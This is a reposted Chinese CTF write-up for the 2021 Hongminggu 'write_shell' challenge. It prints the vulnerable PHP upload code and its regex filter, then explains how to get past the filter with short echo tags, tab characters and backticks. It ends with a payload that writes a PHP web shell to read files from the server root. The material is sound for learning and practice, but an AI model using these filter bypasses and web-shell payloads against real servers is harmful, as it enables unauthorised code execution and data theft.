IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [红明谷CTF 2021]write_shell -> 正文阅读

[PHP知识库][红明谷CTF 2021]write_shell

[红明谷CTF 2021]write_shell

代码审计

题目给出了源码

<?php
error_reporting(0);
highlight_file(__FILE__);
//检查是否还有违规符号
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}
//把input的值进行check,分为数组和非数组两种情况
function waf($input){
	//判断input是否为数组
  if(is_array($input)){
      foreach($input as $key=>$output){
		  //每一次循环,当前数组元素的键与值就都会被赋值给 $key 和 $output 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。
          //调用Waf函数,也就是进行一个check,如果通过check,返回原值
		  $input[$key] = waf($output);
      }
  }else{
	  //同样是check
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
//如果$_GET['action']不为null,则返回$_GET['action'];否则返回null
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
		//对data进行检查
        waf($data);
		//生成index.php
        file_put_contents("$dir" . "index.php", $data);
}
?>

分析可得思路:

传参action=pwd时,会得到上传路径sandbox/cc551ab005b2e60fbdc88de809b2c4b1/

image-20211230202222198

传参action=upload时,可以写入index.php,写入的内容是我们GET方式传入的data中的内容

  • 过滤了php字符,使用<?=可以代替
  • 过滤了空格,可以使用\t代替
  • 过滤了;,可以使用``进行代替

比如1.php

<?php
system("ls");
?>

2.php

<?=
`ls`
?>

1.php和2.php的作用是一样的,都是显示当前目录文件

最后的payload

?action=upload&data=<?=`cat\t/*`?>

没有回显hacker!!!,说明成功写入

然后访问上传的index.php

/sandbox/cc551ab005b2e60fbdc88de809b2c4b1/index.php

回显结果

image-20211230202842530

参考链接

  1. 红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-01 13:39:24  更:2022-01-01 13:39:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:32:19-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码